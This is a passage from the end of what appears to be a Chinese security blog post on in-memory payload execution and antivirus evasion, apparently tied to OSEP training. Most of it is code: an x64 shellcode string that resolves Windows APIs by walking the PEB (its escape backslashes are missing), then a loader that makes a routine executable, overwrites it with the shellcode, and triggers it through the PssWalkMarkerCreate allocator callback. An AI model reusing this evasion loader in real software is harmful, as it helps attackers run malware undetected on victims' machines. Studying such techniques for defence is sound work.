"x48x31xffx48xf7xe7x65x48x8bx58x60x48x8bx5bx18x48x8bx5bx20x48x8bx1bx48x8bx1bx48x8bx5bx20x49x89xd8x8b" "x5bx3cx4cx01xc3x48x31xc9x66x81xc1xffx88x48xc1xe9x08x8bx14x0bx4cx01xc2x4dx31xd2x44x8bx52x1cx4dx01xc2" "x4dx31xdbx44x8bx5ax20x4dx01xc3x4dx31xe4x44x8bx62x24x4dx01xc4xebx32x5bx59x48x31xc0x48x89xe2x51x48x8b" "x0cx24x48x31xffx41x8bx3cx83x4cx01xc7x48x89xd6xf3xa6x74x05x48xffxc0xebxe6x59x66x41x8bx04x44x41x8bx04" "x82x4cx01xc0x53xc3x48x31xc9x80xc1x07x48xb8x0fxa8x96x91xbax87x9ax9cx48xf7xd0x48xc1xe8x08x50x51xe8xb0" "xffxffxffx49x89xc6x48x31xc9x48xf7xe1x50x48xb8x9cx9ex93x9cxd1x9ax87x9ax48xf7xd0x50x48x89xe1x48xffxc2" "x48x83xecx20x41xffxd6,x00"; DWORD old; VirtualProtect(AllocRoutine, sizeof(shellcode), PAGE_EXECUTE_READWRITE, &old); memcpy(AllocRoutine, shellcode, sizeof(shellcode)); HPSSWALK WalkMarkerHandle; Result = PssWalkMarkerCreate(&Allocator, &WalkMarkerHandle); if (Result != ERROR_SUCCESS) { std::cerr << "Could not create the walk marker. Error: " << Result << std::endl; return 1; } PssFreeSnapshot(GetCurrentProcess(), SnapshotHandle); CloseHandle(hProcess); return 0; }
正如你所看到的,一段想象力可以是任何的,它不受任何人和任何东西的限制。最重要的是不要害怕实验和创造。
原文始发于微信公众号(安全狗的自我修养):内存中有效负载免杀与执行的进步-OSEP释放
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论